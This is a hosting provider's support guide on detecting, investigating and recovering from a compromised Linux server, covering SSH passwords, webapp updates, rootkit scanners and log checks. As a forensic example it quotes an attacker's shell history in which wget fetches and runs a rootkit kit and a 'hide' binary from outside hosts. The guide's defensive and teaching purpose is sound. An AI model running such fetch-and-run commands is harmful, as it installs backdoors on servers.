Home > Support > HOWTO List > Argh! My server was exploited. Now what?

What is an Exploited Server?

An exploited server is one that is no longer fully under your control.  Someone else is using it for their own purposes.  Common exploits are:

Recovering From An Exploit

If a webapp was exploited then typically we can disable the webapp.  Then you may wish to upgrade to the latest version of that webapp (or use a different app). The first thing most webapp exploits do is to install a backdoor.  e.g. a URL they can check that re-enables their access, or a cron task that runs to re-add their access.

If a non-privileged (e.g. non-root) ssh user account is exploited then we would disable that user from logging in (usermod -s /sbin/nologin user.  Or use passwd username to set a random/different password for the user. Be mindful an attacker may also have gained access to database content, they may have modified things, likely passwords should be updated as well (both mysql and webapp accounts).

If the root user has been compromised then it becomes 'trickier'. So it may be best to do a reinstall of your server.  And be very, very careful what content you bring over from your backups.

Recovering when the Root user is compromised

When the root user has been compromised things are quite serious.  As the root user they would have been able to hide evidence of their access.  e.g. modify the logs reported by last -a.  Alter their bash history.  Modify apps like ps and top so that they do not show the exploit fingerprints (e.g. ps or top may not show processes that are launching brute force attacks on other systems)

Commonly we are seeing root kits installed that modify most binaries and even modify ssh so that it captures passwords you send it.

Sometimes the root kits really 'mess things up'.  To the point where the server may actually fail to boot up correctly.

When the root account is compromised we can try to restore a VPS to an earlier backup (and see if that is infected or not).  After the restore please change your user's passwords.  e.g. using the passwd command.

Or if the server was compromised before the earliest backup we had, or if you are running an older distro, then we may often recommend a fresh install.  Always set a new password on the install.  Consider using the most recent version of your preferred distro.

After the clean install or a restore you can normally mount your old data somewhere like /backups.  Then you can get the data you need from it (Treat the data with suspicion.  What if someone has viewed it or modified it?)

Consider just migrating over the essential things you need.  We recommend that you do _not_ copy binaries from the /backup to the new install.  Since that may bring over infected files.

We would also advise you be careful about bringing over webapps and config files.  Since they may have some exploit in there still (e.g. proxying enabled in apache, or open relaying configured in the mail server).  And also after a reinstall you may opt for a newer distro and that config files in that distro may differ from your 'old' server.  If you really need to copy over config settings try to copy over just the fragments you need.

How Did My Server Get Exploited

The bulk of the time we see an exploited server it has been exploited in one of two ways.  Either someone has guessed a password and logged in as a user via ssh, or a web application has some security hole that has been exploited.

How Can I Avoid Getting Exploited via SSH

Make sure that all of your ssh passwords are hard to guess.  e.g. definitely do not use regular words that you would find in a dictionary.  Replacing letters with digits e.g. 3 for E typically adds little protection.  Try using made up words.  Or using two or more words joined together in a phrase.

It is most important for the root user to have a strong password.  Since if this user is exploited the exploiter has full control of your server and can install things like backdoors.

'Regular' users need to have good passwords as well, else if they are exploited they could be used to send out spam, or host phishing websites.

Another good option is to change your SSHPort from 22 to something else (3022?) in your /etc/ssh/sshd_config file.  Then restart ssh with /etc/init.d/sshd restart.  If you are not using your default ssh port then that can be a simple way to avoid 99% of the brute force ssh attacks.

If you are using a different ssh port than normal _do_ mention that when you put in a support ticket.  To make our life a little easier when we need to login to your server to help you.

How to Avoid Having Your Web Apps Exploited

Weak passwords and exploitable webapps are by far the two most common causes of exploits.

Webapps are publicly accessible, they take user input and try to do sane things with it.  Hackers exploit weaknesses in input handling to take control of the server.  e.g. tricking the server into installing executable scripts or running shell commands.

Examples of webapps that have had some bad security holes include drupal, wordpress, phpmyadmin, phpbb, awstats, anything that uses xmlrpc and formmail.

Typically webapps are not part of your server's distro, so they are not patched when you update your distro packages.  You need to update them manually.

If you install a webapp, do have a process in place to regularly update it.  We advise you to subscribe to that webapps security mailing list if possible.

Web app security holes may let someone execute arbitrary code (as the apache user) or do things like send out spam (e.g. in formmail there has been a security hole which lets a user specify any 'to' address and use any message to that person.

To find out who or what is sending mail from your server you can download and use the following script


wget http://proj.ri.mu/securemail.pl -O /usr/local/sbin/securemail.pl
vi /usr/local/sbin/securemail.pl (edit the file and read the comments about how to use it)

This can be used to log all email or just email from PHP or web applications. It logs to a file in /var/log/formmail.log. This application is meant to be used as diagnostic tool and should not be left in place forever.

The key thing with web app security is to know what web apps you have installed.  (Normally the only way you would have a webapp installed is if you or a user manually installed it) then make sure you are up to date with any security issues on that product.  e.g. check their site for security notices, if they have a security email list, then join that.

How Do I Know I Was Exploited?

Typically the first you'll know of it is from the RimuHosting support crew.  We may have received a spam complaint against your server.  Or an ssh attack abuse report.  Or we may have noticed your server using unusually high network traffic or CPU.

When we alert you to the exploit we normally try to give some information about what we think was exploited and how you were affected.

Typically there will have been something 'odd' running in the process list.

Use lsof -p $processid to find out what files that odd looking process has open.  Often it is something like this:


# lsof -p 15346
COMMAND   PID USER   FD   TYPE   DEVICE SIZE/OFF   NODE NAME
wq      15346 root  cwd    DIR    202,1     4096 426919 /var/www/apache-tomcat-8.0.9/bin
wq      15346 root  rtd    DIR    202,1     4096      2 /
wq      15346 root  txt    REG    202,1  1223123 428304 /usr/bin/wq (deleted) 
wq      15346 root    4u  IPv4 16352944      0t0    TCP server.info:53505->117.21.224.216:46783 (SYN_SENT)

In this case it is an odd file, wq, that has been deleted to hide itself and a tcp connection to an IP that whois reports is in China.
See who logged in via password with:

grep -i 'Accepted password' /var/log/secure /var/log/auth*  2>/dev/null

Grep for those IPs in the logs to see if they making many brute force login attempts.  Run the whois command on the IP address to see where that IP belongs.

Run last -a and see if there are any unusual/suspicious IPs that have logged in recently.  Note that a root kitted server may have a truncated/empty last log.  Or it may have doctored values.

On one recent server exploit we saw things like this on the console:

 
/etc/rc.d/rc: line 67:   946 Segmentation fault      egrep -q "(daemon |action |success |failure )" $i 2>/dev/null
Starting rawdevices:  [  OK  ]
/etc/rc.d/rc: line 67:   953 Segmentation fault      egrep -q "(daemon |action |success |failure )" $i 2>/dev/null
Starting jboss:  /etc/rc3.d/S84jboss: line 27:   956 Done 
      echo $0
        957 Segmentation fault      | grep -qai tomcat
/etc/rc3.d/S84jboss: line 27:   959 Done                    echo $0

Without 'mount', the filesystem doesn't get mounted read/write, and so 
with a read-only filesystem nothing starts up properly.

Or we may see that some key binaries have been recently replaced.  e.g.

find /boot /usr/bin /bin /sbin /etc/cron* -mtime -30

Or another common sign is a 'broken' cpio (which will prevent rpm installs).  e.g. if you run an apt-get install --reinstall openssh-server (to try and reinstall a proper ssh server) you may get:


error: unpacking of archive failed on file /sbin/initlog: cpio: rename failed - Operation not permitted

Also: run the history command or cat ~username/.bash_history to see what commands have been run.  And if they look unusual.  Again: an exploiter may be able to modify these values/cover their trail.

If your ps process does not support the --width option then that is an indication it may have been compromised/replaced:


# ps auxf --width=200
ps: unknown long option
usage:  ps acehjlnrsSuvwx{t<tty>|#|O[-]u[-]U..} \
           --sort:[-]key1,[-]key2,...
           --help gives you this message
           --version prints version information

If your are ssh-ed into the server and netstat -n does not show your network connection then that is a sign that it is compromised too.

Another idea is to run chkrootkit:

Grab the latest version from here:

http://chkrootkit.org/download/

Unpack the archive and cd into the directory it creates and do something like:



./chkrootkit | grep -v 'nothing found' | grep -v 'not infected' | grep -v 'not tested' | grep -v 'not found'

Sample output on an infected server looks like:


ROOTDIR is `/'
Checking `netstat'... INFECTED
Checking `ps'... INFECTED
Checking `aliens'...
/dev/ptyxy/.proc /dev/ptyxy/.addr
/etc/ld.so.hash
Searching for Ambient's rootkit (ark) default files and dirs... Possible Ambient's rootkit \(ark\) installed
Searching for suspicious files and dirs, it may take a while...
/usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/auto/mod_perl/.packlist /usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist /usr/lib/.ark? /lib/security/.config
/lib/security/.config
Searching for ShKit rootkit default files and dirs... Possible ShKit rootkit installed

Another very good tool to check for root kits is rkhunter:


wget http://iweb.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.0/rkhunter-1.4.0.tar.gz

tar xzf rkhunter-1.4.0.tar.gz

cd rkhunter-1.4.0

./installer.sh --layout /usr/local --install

/usr/local/bin/rkhunter --check --quiet

Finding Out More About What Was Done

If a user account has been exploited often you can see what the attacker did by running cat ~username/.bash_history

e.g. 



   943  wget www.tici.us/ssh.tgz
   944  tar xzvf ssh.tgz
   947  ./inst
   948  chmod 777 *
   959  wget www.durexel.com/x/hide
   960  chmod +x hide
   961  ./hide
   962  w

And you can see what IP logged into your server using that user id with last -a

If your server was exploited to send out spam, then the spam report email headers may contain some useful information.  e.g. the username that send the emails.  Or the time that the emails were sent.

If you have the time, you can then go through your apache access or error logs to see if, say, a particular form POST has happened or a particular URL is being loaded.